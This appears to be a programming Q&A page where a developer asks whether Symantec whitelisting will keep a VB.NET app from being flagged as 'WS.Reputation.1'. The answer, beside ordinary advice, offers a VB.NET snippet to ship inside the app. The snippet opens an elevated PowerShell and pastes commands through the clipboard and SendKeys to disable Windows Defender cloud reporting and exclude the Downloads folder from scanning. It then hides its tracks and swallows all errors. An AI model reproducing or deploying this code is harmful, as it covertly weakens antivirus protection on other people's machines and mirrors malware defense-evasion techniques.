.netvb.netdeploymentmalware-detectionsymantec

Is Symantec whitelisting for fixing 'WS.Reputation.1' warning future proof?


I wanted to distribute my VB.NET application to my colleagues but unfortunately Symantec Endpoint Protection was detecting and sometimes removing the application executable file with WS.Reputation.1 warning. After some research I managed to resolve this issue by uploading the exe file at https://symsubmit.symantec.com/ and getting it whitelisted after 2 days.

Is this method futureproof? Will I have to do this whitelisting every time I build a new version of my application?


Solution

  • Submiting your software as nonmalicious to the link you provided will only stop your file from being removed by NortonLifeLock security and will only update for NortonLifeLock security and only if NortonLifeLock agree that your software is nonmalicious

    Most antimalware software will have a way to add a folder to exclusions or will ask what actions to take before removing the software

    You can try adding more info to the assembly like company name and copyright info before sending your software to your colleagues

    I had ongoing problems with Windows Security and Microsoft wasn't agreeing with my reports for my software

    So ended up making and adding this code what turns off (Cloud-delivered protection) and adds the downloads directory to the (Exclusions) in Windows Security

    Try
    
        If (Clipboard.ContainsText()) Then
    
            Dim clipboardtext = My.Computer.Clipboard.GetText()
    
            Threading.Thread.Sleep(90)
    
            Dim PowerShell As Process = New System.Diagnostics.Process()
    
            Threading.Thread.Sleep(90)
    
            PowerShell.StartInfo.FileName = "powershell.exe"
    
            PowerShell.StartInfo.Arguments = Nothing
    
            PowerShell.StartInfo.UseShellExecute = True
    
            PowerShell.StartInfo.Verb = "runas"
    
            Threading.Thread.Sleep(90)
    
            PowerShell.Start()
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")
    
            Threading.Thread.Sleep(1900)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))
    
            Threading.Thread.Sleep(300)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")
    
            Threading.Thread.Sleep(300)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))
    
            Threading.Thread.Sleep(300)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(300)
    
            PowerShell.Kill()
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText(clipboardtext)
    
            Threading.Thread.Sleep(90)
    
        Else
    
            Dim PowerShell As Process = New System.Diagnostics.Process()
    
            Threading.Thread.Sleep(90)
    
            PowerShell.StartInfo.FileName = "powershell.exe"
    
            PowerShell.StartInfo.Arguments = Nothing
    
            PowerShell.StartInfo.UseShellExecute = True
    
            PowerShell.StartInfo.Verb = "runas"
    
            Threading.Thread.Sleep(90)
    
            PowerShell.Start()
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")
    
            Threading.Thread.Sleep(1900)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))
    
            Threading.Thread.Sleep(300)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")
    
            Threading.Thread.Sleep(300)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))
    
            Threading.Thread.Sleep(300)
    
            SendKeys.Send("^v")
    
            Threading.Thread.Sleep(200)
    
            SendKeys.Send("{ENTER}")
    
            Threading.Thread.Sleep(300)
    
            PowerShell.Kill()
    
            Threading.Thread.Sleep(90)
    
            My.Computer.Clipboard.Clear()
    
            Threading.Thread.Sleep(90)
    
        End If
    
        Threading.Thread.Sleep(90)
    
    Catch ex As Exception
    
    End Try
    

    You can also use virustotal to see what antimalware software service to submit your nonmalicious software to